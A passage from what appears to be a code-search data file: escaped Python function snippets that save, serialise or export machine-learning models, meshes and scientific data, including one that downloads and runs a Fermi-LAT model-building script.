int(self.n_classes),\\n 'nRows': int(self.n_svs_rows)\\n }\\n encoder.FLOAT_REPR = lambda o: self.repr(o)\\n json_data = dumps(model_data, sort_keys=True)\\n if with_md5_hash:\\n import hashlib\\n json_hash = hashlib.md5(json_data).hexdigest()\\n filename = filename.split('.json')[0] + '_' + json_hash + '.json'\\n path = os.path.join(directory, filename)\\n with open(path, 'w') as fp:\\n fp.write(json_data)\",\n \"def write_model_data(model, filename):\\n data = lasagne.layers.get_all_param_values(model)\\n filename = os.path.join('./', filename)\\n filename = '%s.%s' % (filename, PARAM_EXTENSION)\\n with open(filename, 'w') as f:\\n pickle.dump(data, f)\",\n \"def write(self, model):\\n\\n # Initialize json_dump\\n json_dump = {\\\"model\\\": [], \\\"metadata\\\": {}}\\n\\n # Set timestamp in metadata\\n json_dump[\\\"metadata\\\"][\\\"time\\\"] = str(datetime.now())\\n\\n # Set the size of the model in metadata\\n json_dump[\\\"metadata\\\"][\\\"model_size\\\"] = len(model.models)\\n\\n for obj in model.models:\\n _class = type(obj).__name__\\n if _class in [\\n Winding,\\n PhaseWinding,\\n Wire,\\n PhaseCapacitor,\\n Position,\\n PhaseLoad,\\n ]:\\n continue\\n json_dump[\\\"model\\\"].append({})\\n json_dump[\\\"model\\\"][-1][\\\"class\\\"] = _class\\n\\n try:\\n json_dump[\\\"model\\\"][-1][\\\"name\\\"] = {\\\"class\\\": \\\"str\\\", \\\"value\\\": obj.name}\\n except:\\n json_dump[\\\"model\\\"][-1][\\\"name\\\"] = {\\\"class\\\": \\\"str\\\", \\\"value\\\": None}\\n pass\\n\\n for key, value in obj._trait_values.items():\\n if key in [\\\"capacitance_matrix\\\", \\\"impedance_matrix\\\", \\\"reactances\\\"]:\\n json_dump[\\\"model\\\"][-1][key] = {\\\"class\\\": \\\"list\\\", \\\"value\\\": []}\\n for v in value:\\n if isinstance(v, complex):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"complex\\\", \\\"value\\\": [v.real, v.imag]}\\n )\\n elif isinstance(v, list):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"list\\\", \\\"value\\\": []}\\n )\\n for vv in v:\\n if isinstance(vv, complex):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][\\n \\\"value\\\"\\n ].append(\\n {\\n \\\"class\\\": \\\"complex\\\",\\n \\\"value\\\": [vv.real, vv.imag],\\n }\\n )\\n else:\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][\\n \\\"value\\\"\\n ].append(\\n {\\n \\\"class\\\": str(type(vv)).split(\\\"'\\\")[1],\\n \\\"value\\\": vv,\\n }\\n )\\n else:\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": str(type(v)).split(\\\"'\\\")[1], \\\"value\\\": v}\\n )\\n continue\\n if isinstance(value, list):\\n json_dump[\\\"model\\\"][-1][key] = {\\\"class\\\": \\\"list\\\", \\\"value\\\": []}\\n for v in value:\\n\\n if isinstance(v, complex):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"complex\\\", \\\"value\\\": [v.real, v.imag]}\\n )\\n\\n elif isinstance(v, Position):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"Position\\\"}\\n )\\n for kkk, vvv in v._trait_values.items():\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][kkk] = {\\n \\\"class\\\": str(type(vvv)).split(\\\"'\\\")[1],\\n \\\"value\\\": vvv,\\n }\\n\\n elif isinstance(v, Unicode):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"Unicode\\\", \\\"value\\\": v.default_value}\\n )\\n\\n elif isinstance(v, Wire):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"Wire\\\"}\\n )\\n for kkk, vvv in v._trait_values.items():\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][kkk] = {\\n \\\"class\\\": str(type(vvv)).split(\\\"'\\\")[1],\\n \\\"value\\\": vvv,\\n }\\n\\n elif isinstance(v, PhaseCapacitor):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"PhaseCapacitor\\\"}\\n )\\n for kkk, vvv in v._trait_values.items():\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][kkk] = {\\n \\\"class\\\": str(type(vvv)).split(\\\"'\\\")[1],\\n \\\"value\\\": vvv,\\n }\\n\\n elif isinstance(v, Winding):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"Winding\\\"}\\n )\\n for kkk, vvv in v._trait_values.items():\\n if kkk != \\\"phase_windings\\\":\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][kkk] = {\\n \\\"class\\\": str(type(vvv)).split(\\\"'\\\")[1],\\n \\\"value\\\": vvv,\\n }\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][\\n \\\"phase_windings\\\"\\n ] = {\\\"class\\\": \\\"list\\\", \\\"value\\\": []}\\n for phw in v.phase_windings:\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][\\n \\\"phase_windings\\\"\\n ][\\\"value\\\"].append({\\\"class\\\": \\\"PhaseWinding\\\"})\\n for kkkk, vvvv in phw._trait_values.items():\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][\\n \\\"phase_windings\\\"\\n ][\\\"value\\\"][-1][kkkk] = {\\n \\\"class\\\": str(type(vvvv)).split(\\\"'\\\")[1],\\n \\\"value\\\": vvvv,\\n }\\n\\n elif isinstance(v, PhaseLoad):\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"].append(\\n {\\\"class\\\": \\\"PhaseLoad\\\"}\\n )\\n for kkk, vvv in v._trait_values.items():\\n json_dump[\\\"model\\\"][-1][key][\\\"value\\\"][-1][kkk] = {\\n \\\"class\\\": str(type(vvv)).split(\\\"'\\\")[1],\\n \\\"value\\\": vvv,\\n }\\n\\n continue\\n\\n if isinstance(value, complex):\\n json_dump[\\\"model\\\"][-1][key] = {\\n \\\"class\\\": \\\"complex\\\",\\n \\\"value\\\": [value.real, value.imag],\\n }\\n continue\\n\\n json_dump[\\\"model\\\"][-1][key] = {\\n \\\"class\\\": str(type(value)).split(\\\"'\\\")[1],\\n \\\"value\\\": value,\\n }\\n\\n with open(os.path.join(self.output_path, self.filename), \\\"w\\\") as f:\\n f.write(\\n json_tricks.dumps(json_dump, allow_nan=True, sort_keys=True, indent=4)\\n )\",\n \"def write_model_data(model, filename):\\n data = lasagne.layers.get_all_param_values(model)\\n filename = os.path.join('./', filename)\\n filename = '%s.%s' % (filename, 'params')\\n with open(filename, 'w+') as f:\\n pickle.dump(data, f)\",\n \"def save(self, model_out_file):\\n\\t\\tvariables_dict = {v.name: v for v in tf.global_variables()}\\n\\t\\tvalues_dict = self.sess.run(variables_dict)\\n\\t\\tnp.savez(open(model_out_file, 'wb'), **values_dict)\",\n \"def save_model(self):\\n joblib.dump(self.pipeline, 'model.joblib')\\n print(colored('model.joblib saved locally', 'green'))\",\n \"def save_model(self, filename='model.pt'):\\n checkpoint = {\\n 'input_size': self.linear_layers[0].in_features,\\n 'output_size': self.linear_layers[-1].out_features,\\n 'hidden_layers': [layer.out_features for layer in self.linear_layers[:-1]],\\n 'state_dict': self.state_dict()}\\n torch.save(checkpoint, filename)\",\n \"def export_model(model, path=None, input_shape=(1, 3, 64, 64)):\\n path = get_model_path() if path is None else path\\n model = deepcopy(model).cpu().eval()\\n if not isinstance(model, torch.jit.ScriptModule):\\n assert input_shape is not None, \\\"`input_shape` must be provided since model is not a \\\" \\\\\\n \\\"`ScriptModule`.\\\"\\n traced_model = trace(model, torch.zeros(*input_shape))\\n else:\\n traced_model = model\\n torch.jit.save(traced_model, path)\\n return path\",\n \"def save_model(self):\\n\\n print('Save model')\\n self.feature_extractor.save_weights(\\n self.path_save_model + self.name_model + '.h5')\\n\\n print('Mean and std')\\n np.save(self.path_save_model + 'mean.npy', self.mean)\\n np.save(self.path_save_model + 'std.npy', self.std)\",\n \"def export_embeddings(self):\\n save_path = self.config.path_embeddings / self.model.model_name\\n save_path.mkdir(parents=True, exist_ok=True)\\n \\n idx2ent = self.model.config.knowledge_graph.read_cache_data('idx2entity')\\n idx2rel = self.model.config.knowledge_graph.read_cache_data('idx2relation')\\n\\n\\n series_ent = pd.Series(idx2ent)\\n series_rel = pd.Series(idx2rel)\\n series_ent.to_pickle(save_path / \\\"ent_labels.pickle\\\")\\n series_rel.to_pickle(save_path / \\\"rel_labels.pickle\\\")\\n\\n with open(str(save_path / \\\"ent_labels.tsv\\\"), 'w') as l_export_file:\\n for label in idx2ent.values():\\n l_export_file.write(label + \\\"\\\\n\\\")\\n\\n with open(str(save_path / \\\"rel_labels.tsv\\\"), 'w') as l_export_file:\\n for label in idx2rel.values():\\n l_export_file.write(label + \\\"\\\\n\\\")\\n\\n for parameter in self.model.parameter_list:\\n all_ids = list(range(0, int(parameter.shape[0])))\\n stored_name = parameter.name.split(':')[0]\\n # import pdb; pdb.set_trace()\\n\\n if len(parameter.shape) == 2:\\n all_embs = parameter.numpy()\\n with open(str(save_path / (\\\"%s.tsv\\\" % stored_name)), 'w') as v_export_file:\\n for idx in all_ids:\\n v_export_file.write(\\\"\\\\t\\\".join([str(x) for x in all_embs[idx]]) + \\\"\\\\n\\\")\\n\\n df = pd.DataFrame(all_embs)\\n df.to_pickle(save_path / (\\\"%s.pickle\\\" % stored_name))\",\n \"def save_model(self):\\n joblib.dump(self.pipeline, \\\"model.joblib\\\")\",\n \"def save(self, output_path):\\r\\n self.graph.cleanup().toposort()\\r\\n model = gs.export_onnx(self.graph)\\r\\n output_path = os.path.realpath(output_path)\\r\\n os.makedirs(os.path.dirname(output_path), exist_ok=True)\\r\\n onnx.save(model, output_path)\\r\\n log.info(\\\"Saved ONNX model to {}\\\".format(output_path))\",\n \"def exportData(self):\\n\\t\\tlays = rlayer.renderlayers()\\n\\t\\tdata = {}\\n\\t\\tfor l in lays:\\n\\t\\t\\tif l.name == 'defaultRenderLayer':\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tdata[l.name] = {'objects':l.objects, # OBJECTS IN LAYER\\n\\t\\t\\t\\t\\t\\t\\t'values' :l.overridesWithValues, # OVERRIDED ATTRIBUTES ONLY CHANGED VALUES\\n\\t\\t\\t\\t\\t\\t\\t'conns' :l.overridesWithConnections[0], # OVERRIDED ATTRIBUTES CHANGED CONNECTIONS\\n\\t\\t\\t\\t\\t\\t\\t'shader' :l.overridedShader # OVERRIDE RENDERLAYER SHADER\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\tpickle.dump( data, open( self.dataPath.path, \\\"wb\\\" ) )\",\n \"def CreateSurface2DMeshfrom3DMesh(self):\\n\\n self.__do_memebers_exist__()\\n\\n p = self.InferPolynomialDegree()\\n mm = Mesh()\\n if self.element_type == \\\"hex\\\":\\n mm.element_type = \\\"quad\\\"\\n elif self.element_type == \\\"tet\\\":\\n mm.element_type = \\\"tri\\\"\\n else:\\n raise ValueError(\\\"Cannot make a 2D mesh from the 3D mesh of type {}\\\".format(self.element_type))\\n\\n unique_faces, inv_faces = np.unique(self.faces,return_inverse=True)\\n mm.points = self.points[unique_faces,:]\\n mm.nnode = mm.points.shape[0]\\n aranger = np.arange(mm.nnode)\\n mm.elements = aranger[inv_faces].reshape(self.faces.shape)\\n mm.nelem = mm.elements.shape[0]\\n mm.GetBoundaryEdges()\\n\\n return mm\",\n \"def WriteOBJ(self, filename, write_texture=False, write_normal=False):\\n\\n self.__do_essential_memebers_exist__()\\n\\n mesh = deepcopy(self)\\n p = self.InferPolynomialDegree()\\n\\n if p > 1:\\n mesh = self.GetLinearMesh(remap=True)\\n\\n edim = mesh.InferElementalDimension()\\n\\n if edim == 2:\\n elements = np.copy(mesh.elements).astype(np.int64)\\n elif edim == 3:\\n elements = np.copy(mesh.faces).astype(np.int64)\\n else:\\n raise RuntimeError(\\\"Writing obj file for {} elements not supported\\\".format(mesh.element_type))\\n\\n points = mesh.points[np.unique(elements),:]\\n if points.shape[1] == 2:\\n points = np.hstack((points,np.zeros((points.shape[0],1))))\\n\\n points_repr = np.zeros((points.shape[0],points.shape[1]+1), dtype=object)\\n points_repr[:,0] = \\\"v\\\"\\n points_repr[:,1:] = points\\n\\n elements_repr = np.zeros((elements.shape[0],elements.shape[1]+1), dtype=object)\\n elements_repr[:,0] = \\\"f\\\"\\n elements_repr[:,1:] = elements + 1\\n\\n if write_texture:\\n textures = mesh.textures[np.unique(elements),:]\\n\\n textures_repr = np.zeros((textures.shape[0],textures.shape[1]+1), dtype=object)\\n textures_repr[:,0] = \\\"vt\\\"\\n textures_repr[:,1:] = textures\\n\\n elements_repr = np.zeros((mesh.telements.shape[0],mesh.telements.shape[1]+1), dtype=object)\\n elements_repr[:,0] = \\\"f\\\"\\n # elements_repr[:,1:] = telements + 1\\n counter = 0\\n for i, j in zip(elements,mesh.telements):\\n curr_row = [str(ii+1)+\\\"/\\\"+str(jj+1) for ii,jj in zip(i,j)]\\n elements_repr[counter,1:] = curr_row\\n counter += 1\\n\\n with open(filename, \\\"w\\\") as f:\\n # f.write(\\\"# \\\"+ str(mesh.nnode))\\n # f.write('\\\\n')\\n # f.write(\\\"# \\\"+ str(mesh.nelem))\\n # f.write('\\\\n')\\n\\n np.savetxt(f, points_repr, fmt=\\\"%s\\\")\\n if write_texture:\\n np.savetxt(f, textures_repr, fmt=\\\"%s\\\")\\n\\n if write_normal:\\n if self.normals is None:\\n enormals = self.Normals()\\n els = self.GetNodeCommonality()[0]\\n self.normals = np.zeros((self.nnode, 3))\\n for counter, el in enumerate(els):\\n self.normals[counter] = np.sum(enormals[el], axis=0) / enormals[el].shape[0]\\n\\n normals_repr = np.zeros((self.normals.shape[0], self.normals.shape[1]+1), dtype=object)\\n normals_repr[:,0] = \\\"vn\\\"\\n normals_repr[:,1:] = self.normals\\n np.savetxt(f, normals_repr, fmt=\\\"%s\\\")\\n\\n f.write('\\\\n')\\n np.savetxt(f, elements_repr, fmt=\\\"%s\\\")\",\n \"def save_model(self, export_path, save_ae=True):\\n net_dict = self.net.state_dict()\\n ae_net_dict = self.ae_net.state_dict() if save_ae else None\\n #ae_threshold = self.scores_threhold_rec if save_ae else None\\n\\n torch.save({'c': self.c,\\n 'net_dict': net_dict,\\n 'ae_net_dict': ae_net_dict}, export_path)\",\n \"def to_mesh(self, outfilename, projection=None, z=None):\\n if projection is None:\\n projection = \\\"LONG/LAT\\\"\\n\\n x = self.xy[:, 0]\\n y = self.xy[:, 1]\\n if z is None:\\n z = np.zeros(self.n)\\n codes = np.zeros(self.n, dtype=int)\\n codes[y == self.y1] = 5 # north\\n codes[x == self.x1] = 4 # east\\n codes[y == self.y0] = 3 # south\\n codes[x == self.x0] = 2 # west\\n codes[(y == self.y1) & (x == self.x0)] = 5 # corner->north\\n\\n builder = MeshBuilder()\\n builder.SetNodes(x, y, z, codes)\\n\\n elem_table = self._to_element_table(index_base=1)\\n builder.SetElements(asnetarray_v2(elem_table))\\n\\n builder.SetProjection(projection)\\n quantity = eumQuantity.Create(EUMType.Bathymetry, EUMUnit.meter)\\n builder.SetEumQuantity(quantity)\\n newMesh = builder.CreateMesh()\\n newMesh.Write(outfilename)\",\n \"def export_model(model, model_type, export_dir, model_column_fn):\\n wide_columns, deep_columns = model_column_fn()\\n if model_type == 'wide':\\n columns = wide_columns\\n elif model_type == 'deep':\\n columns = deep_columns\\n else:\\n columns = wide_columns + deep_columns\\n feature_spec = tf.feature_column.make_parse_example_spec(columns)\\n example_input_fn = (\\n tf.estimator.export.build_parsing_serving_input_receiver_fn(feature_spec))\\n model.export_savedmodel(export_dir, example_input_fn,\\n strip_default_attrs=True)\",\n \"def runMT3D(self):\\n \\n # write mt3dms input\\n self.__mt.write_input()\\n # run mt3dms\\n self.__mt.run_model()\",\n \"def _export_model_representations(self, config):\\n\\n self.logger.msg1(\\\"Preparing model representations\\\")\\n modelsets = get_modelsets(self.dbpath, self.obo, config.partition_size)\\n prefix = self.rootpath + \\\"-models-\\\"\\n for i, refset in enumerate(modelsets):\\n progress = str(i+1) + \\\"/\\\" + str(len(modelsets))\\n self.logger.msg1(\\\"Saving model representations: \\\"+progress)\\n refset.save(prefix + str(i+1), \\\"phenotype\\\", what=(\\\"data\\\",))\",\n \"def export_onnx():\\r\\n model = DivideBy255()\\r\\n X = torch.randn(1, 3, 256, 256, dtype=torch.float)\\r\\n onnx_name = \\\"DivideBy255.onnx\\\"\\r\\n\\r\\n print(f\\\"Generating {onnx_name}\\\")\\r\\n torch.onnx.export(\\r\\n model,\\r\\n (X),\\r\\n onnx_name,\\r\\n opset_version=10,\\r\\n do_constant_folding=True,\\r\\n # verbose=True,\\r\\n # input_names=['Identity_1', 'Identity'],\\r\\n output_names=['input_1']\\r\\n )\",\n \"def save_model(self, model_filename):\\n self.model.save_weights(model_filename)\",\n \"def save_model(self, model):\\n # serialize model to JSON\\n model_json = model.to_json()\\n os.makedirs(os.path.dirname(self.model_json_path), exist_ok=True)\\n with open(self.model_json_path, \\\"w\\\") as json_file:\\n json_file.write(model_json)\\n\\n # serialize weights to HDF5\\n model.save_weights(self.model_weights_path)\\n print(\\\"Saved model to disk\\\")\",\n \"def save_model(model, filename=\\\"model.json\\\"):\\n model_json = model.to_json()\\n with open(filename, \\\"w\\\") as json_file:\\n json_file.write(model_json)\\n model.save_weights(\\\"model.h5\\\")\\n print(\\\"Saved model to disk\\\")\",\n \"def matlab_export(self, filename):\\n\\n import scipy.io as sio\\n matdata = {}\\n for nn in range(self.num_networks):\\n for ll in range(len(self.networks[nn].layers)):\\n wstring = 'ws' + str(nn) + str(ll)\\n matdata[wstring] = self.networks[nn].layers[ll].weights\\n bstring = 'bs' + str(nn) + str(ll)\\n matdata[bstring] = self.networks[nn].layers[ll].biases\\n\\n sio.savemat(filename, matdata)\",\n \"def save_model(self, dir_path):\\n np.savez(\\n dir_path + os.path.sep + \\\"weights.npz\\\", W1=self.W1, W2=self.W2, W3=self.W3\\n )\\n np.savez(\\n dir_path + os.path.sep + \\\"biases.npz\\\", b1=self.b1, b2=self.b2, b3=self.b3\\n )\",\n \"def save_model(self):\\n saved_path = self.config.path_tmp / self.model.model_name\\n saved_path.mkdir(parents=True, exist_ok=True)\\n self.model.save_weights(str(saved_path / 'model.vec'))\",\n \"def WriteCcmModelToFile(filename, model):\\n #Write the .hpp file\\n WriteHeaderFileForCcmModel(filename, model)\\n\\n #Write the .cpp fil\\n WriteSourceFileForCcmModel(filename, model)\",\n \"def export_compact_z_to_m(model_path):\\n pred_config = PredictConfig(\\n session_init=SmartInit(model_path),\\n model=Model(),\\n input_names=['gen/senc/add', 'gen/senc_m/add', 'bbx'],\\n output_names=['gen/genmask/convlast/output'])\\n ModelExporter(pred_config).export_compact(os.path.join(os.path.dirname(model_path), 'frozen_model_z_to_m.pb'))\\n # ModelExporter(pred_config).export_compact(model_path)\",\n \"def makeModel(self):\\n\\n # Get the script\\n modelScript = os.path.join(self.datapath, 'make3FGLxml.py')\\n if not os.path.isfile(modelScript):\\n # download it\\n print(\\\"\\\\t=== Downloading make3FGLxml.py ===\\\")\\n os.system('wget https://fermi.gsfc.nasa.gov/ssc/data/analysis/user/make3FGLxml.py -O {}'.format(modelScript))\\n\\n # Create the model using Tyrel's script\\n galModel = os.path.join(self.diffpath, 'gll_iem_v06.fits')\\n isoModel = os.path.join(self.diffpath, 'iso_'+self.irf+'_v06.txt')\\n if (not os.path.isfile(galModel)) or (not os.path.isfile(isoModel)):\\n print(\\\"\\\\t=== Unable to find the diffuse models, check the variable '$FERMI_DIR' ===\\\")\\n return\\n if not os.path.isdir(self.extpath):\\n print(\\\"\\\\t=== Unable to find models of extended sources, check the variable '$LATEXTDIR' ===\\\")\\n return\\n if not os.path.isfile(self.fermicat):\\n # download it\\n print(\\\"\\\\t=== Downloading 3FGL catalog ===\\\")\\n os.system('wget https://fermi.gsfc.nasa.gov/ssc/data/access/lat/4yr_catalog/gll_psc_v16.fit -O {}'.format(self.fermicat))\\n\\n os.popen(\\\"python {} {} {} -o {} -G {} -g 'gll_iem_v06'\\\\\\n -I {} -i 'iso_source_v06' -e {} -r 5 -R 10 -ER 10\\\\\\n -s 9 -m False -GIF False\\\".format(modelScript, self.fermicat,\\n self.ft1, self.model, galModel, isoModel, self.extpath))\\n\\n # Add the target to the model\\n tmpName = self.model + '.tmp'\\n rfil = open(self.model, 'r')\\n wfil = open(tmpName, 'w')\\n # Copy the XML to the temporary model\\n wfil.writelines([l for l in rfil.readlines() if not l=='</source_library>']) # copy everything but the last line\\n wfil.write(' <source ROI_Center_Distance=\\\"0.00\\\" name=\\\"TARGET\\\" type=\\\"PointSource\\\">\\\\n')\\n wfil.write(' <spectrum type=\\\"PowerLaw2\\\">\\\\n')\\n wfil.write(' <parameter free=\\\"1\\\" max=\\\"1000\\\" min=\\\"1e-05\\\" name=\\\"Integral\\\" scale=\\\"1e-08\\\" value=\\\"0.3591824258\\\"/>\\\\n')\\n wfil.write(' <parameter free=\\\"1\\\" max=\\\"1\\\" min=\\\"-5\\\" name=\\\"Index\\\" scale=\\\"1\\\" value=\\\"-2.7\\\"/>\\\\n')\\n wfil.write(' <parameter free=\\\"0\\\" max=\\\"1000000\\\" min=\\\"20\\\" name=\\\"LowerLimit\\\" scale=\\\"1\\\" value=\\\"100\\\"/>\\\\n')\\n wfil.write('<parameter free=\\\"0\\\" max=\\\"1000000\\\" min=\\\"20\\\" name=\\\"UpperLimit\\\" scale=\\\"1\\\" value=\\\"100000\\\"/>\\\\n')\\n wfil.write(' </spectrum>\\\\n')\\n wfil.write(' <spatialModel type=\\\"SkyDirFunction\\\">\\\\n')\\n wfil.write(' <parameter free=\\\"0\\\" max=\\\"360.0\\\" min=\\\"-360.0\\\" name=\\\"RA\\\" scale=\\\"1.0\\\" value=\\\"'+str(self.ra)+'\\\"/>\\\\n')\\n wfil.write(' <parameter free=\\\"0\\\" max=\\\"360.0\\\" min=\\\"-360.0\\\" name=\\\"DEC\\\" scale=\\\"1.0\\\" value=\\\"'+str(self.dec)+'\\\"/>\\\\n')\\n wfil.write(' </spatialModel>\\\\n')\\n wfil.write(' </source>\\\\n')\\n wfil.write('</source_library>\\\\n')\\n rfil.close()\\n wfil.close()\\n\\n os.remove(self.model)\\n os.rename(tmpName, self.model)\\n \\n print(\\\"\\\\t=== Source model {} added ===\\\".format(self.model))\\n return\",\n \"def save(self, path):\\n np.savez_compressed(path, **self.model_dict)\",\n \"def write_model_to_tensorboard(self, *args, **kwargs):\\n pass\",\n \"def test_export(filename, folder, space_type):\\n grid = bempp.api.shapes.cube(h=0.5)\\n space = bempp.api.function_space(grid, *space_type)\\n function = bempp.api.GridFunction(\\n space, coefficients=np.random.rand(space.global_dof_count)\\n )\\n bempp.api.export(os.path.join(folder, filename), grid_function=function)\",\n \"def export(self, filename):\\n raise IllegalOperationError(\\\"cannot export a Multiplicative model.\\\")\",\n \"def Save(self, filename: str):\\n data_object = {\\n \\\"input_layer_count\\\" : self.input_layer_size,\\n \\\"hidden_layer_count\\\" : self.hidden_layer_size,\\n \\\"output_layer_count\\\" : self.output_layer_size,\\n\\n \\\"hidden_layer_biases\\\" : self.hidden_layer_biases.tolist(),\\n \\\"output_layer_biases\\\" : self.output_layer_biases.tolist(),\\n\\n \\\"input_to_hidden_weights\\\" : self.input_to_hidden_weights.tolist(),\\n \\\"hidden_to_output_weights\\\" : self.hidden_to_output_weights.tolist()\\n }\\n\\n with open(filename, \\\"w\\\") as f:\\n json.dump(data_object, f)\",\n \"def output(self, filename):\\n with open(filename, 'w') as f:\\n op = {}\\n layer_res = []\\n alphas_res = []\\n for layer in self._layers:\\n weights = []\\n alphas = []\\n for neuron in layer._neurons:\\n weights.append(neuron._weights)\\n alphas.append(neuron._alpha)\\n layer_res.append(weights)\\n alphas_res.append(alphas)\\n op['layers'] = layer_res\\n op['alphas'] = alphas_res\\n json.dump(op, f, indent='\\\\t')\",\n \"def savemodel(self, fname):\\n if not fname.endswith('.gz'):\\n fname += '.gz'\\n D = {'clf':self.clf, 'vocab':self.vocab,\\n 'idxlabelmap':self.labelmap}\\n with gzip.open(fname, 'w') as fout:\\n dump(D, fout)\\n print 'Save model into file: {}'.format(fname)\",\n \"def export(self, savepath):\\n logger.debug(f\\\"Exporting scene to {savepath}\\\")\\n _backend = self.backend\\n\\n if not self.is_rendered:\\n self.render(interactive=False)\\n\\n path = Path(savepath)\\n if path.suffix != \\\".html\\\":\\n raise ValueError(\\\"Savepath should point to a .html file\\\")\\n\\n # prepare settings\\n vsettings.notebookBackend = \\\"k3d\\\"\\n\\n # Create new plotter and save to file\\n plt = Plotter()\\n plt.add(self.clean_renderables, render=False)\\n plt = plt.show(interactive=False)\\n plt.camera[-2] = -1\\n\\n with open(path, \\\"w\\\") as fp:\\n fp.write(plt.get_snapshot())\\n\\n print(\\n f\\\"The brainrender scene has been exported for web. The results are saved at {path}\\\"\\n )\\n\\n # Reset settings\\n vsettings.notebookBackend = None\\n self.backend = _backend\\n\\n return str(path)\",\n \"def test_export_pytorch_model(self):\\n pytorch_model = PyTorchLinear()\\n dummy_input = torch.empty(10, 10)\\n\\n with io.BytesIO() as f:\\n onnx_converter._export_pytorch_model(f, pytorch_model, dummy_input)\",\n \"def save_model(self):\\n\\n self.check_model()\\n\\n with open(self.filename, 'wb') as file:\\n pickle.dump({'model': self.model, 'vec': self.vectorizer, 'vec_data': self.vectorized_data,\\n 'df': self.df_topic_keywords}, file)\",\n \"def save_model(self):\\n\\n # =============================================================\\n # Default : pickle the trained model. Change this (and the load\\n # function, below) only if the library you used does not support\\n # pickling.\\n # self.Model_made.save(\\\"Model_made.h5\\\")\\n # self.Model_claim.save(\\\"Model_claim.h5\\\")\\n # Model_made = self.Model_made\\n # Model_claim = self.Model_claim\\n # self.Model_made = None\\n # self.Model_claim = None\\n with open('pricing_model.p', 'wb') as target:\\n pickle.dump(self, target)\\n\\n # self.Model_made = Model_made\\n # self.Model_claim = Model_claim\\n\\n # zipObj = ZipFile(\\\"model.zip\\\",\\\"w\\\")\\n # zipObj.write(\\\"Model_made.h5\\\")\\n # zipObj.write(\\\"Model_claim.h5\\\")\\n # zipObj.write(\\\"pricing_model.p\\\")\\n # zipObj.close()\",\n \"def export(**kwargs):\\n\\n import os\\n\\n interface = None # Holds the actual FileInterface for the specified data format\\n vertex_index_to_file_key_map = None\\n element_index_to_file_key_map = None\\n\\n if 'file_name' in kwargs:\\n fname = kwargs['file_name']\\n else:\\n raise ValueError(\\\"file_name must be specified.\\\")\\n \\n extension = os.path.splitext(fname)[1].lower()\\n\\n if extension=='.msh':\\n from bempp.api.file_interfaces import gmsh\\n interface = gmsh.GmshInterface()\\n \\n if int('grid' in kwargs) + int('grid_function' in kwargs) != 1:\\n raise ValueError(\\\"Exactly one of 'grid' or 'grid_function' must be specified\\\")\\n\\n if 'grid' in kwargs:\\n grid = kwargs['grid']\\n elif 'grid_function' in kwargs:\\n grid = kwargs['grid_function'].grid\\n\\n number_of_vertices = grid.leaf_view.entity_count(2)\\n number_of_elements = grid.leaf_view.entity_count(0)\\n\\n offset = interface.index_offset\\n\\n if 'vertex_index_to_file_key_map' in kwargs:\\n vertex_index_to_file_key_map = kwargs['vertex_index_to_file_key_map']\\n else:\\n vertex_index_to_file_key_map = range(offset,number_of_vertices+offset)\\n if 'element_index_to_file_key_map' in kwargs:\\n element_index_to_file_key_map = kwargs['element_index_to_file_key_map']\\n else:\\n element_index_to_file_key_map = range(offset,number_of_elements+offset)\\n\\n # Create the vertex and element structure\\n\\n from collections import OrderedDict\\n\\n vertex_iterator = grid.leaf_view.entity_iterator(2)\\n element_iterator = grid.leaf_view.entity_iterator(0)\\n index_set = grid.leaf_view.index_set()\\n\\n vertices = OrderedDict([(vertex_index_to_file_key_map[index_set.entity_index(vertex)],vertex.geometry.corners[:,0])\\n for vertex in vertex_iterator])\\n elements = OrderedDict([(element_index_to_file_key_map[index_set.entity_index(element)],\\n {'data':[vertex_index_to_file_key_map[index_set.sub_entity_index(element,n,2)] for n in range(3)],\\n 'domain_index':element.domain}) for element in element_iterator])\\n\\n interface.add_grid_data(vertices,elements)\\n\\n # Evaluate data\\n\\n if 'grid_function' in kwargs:\\n fun = kwargs['grid_function']\\n data_type = kwargs.get('data_type',interface.default_data_type)\\n\\n if 'transformation' in kwargs:\\n transformation = kwargs['transformation']\\n else:\\n transformation = lambda x: x\\n\\n index_set = grid.leaf_view.index_set()\\n\\n if data_type == 'element_node':\\n local_coordinates = _np.array([[0,1,0],[0,0,1]])\\n data = OrderedDict.fromkeys(element_index_to_file_key_map)\\n\\n for element in grid.leaf_view.entity_iterator(0):\\n data[element_index_to_file_key_map[index_set.entity_index(element)]] = transformation(\\n fun.evaluate(element,local_coordinates))\\n interface.add_element_node_data(data,kwargs.get('label','element_node_data'))\\n elif data_type == 'node':\\n local_coordinates = _np.array([[0,1,0],[0,0,1]])\\n data = OrderedDict.fromkeys(vertex_index_to_file_key_map)\\n for element in grid.leaf_view.entity_iterator(0):\\n local_data = transformation(fun.evaluate(element,local_coordinates))\\n for i in range(3):\\n data[vertex_index_to_file_key_map[index_set.sub_entity_index(element,i,2)]] = local_data[:,i]\\n interface.add_node_data(data,kwargs.get('label','node_data'))\\n elif data_type == 'element':\\n local_coordinates = _np.array([[1./3],[1./3]])\\n data = 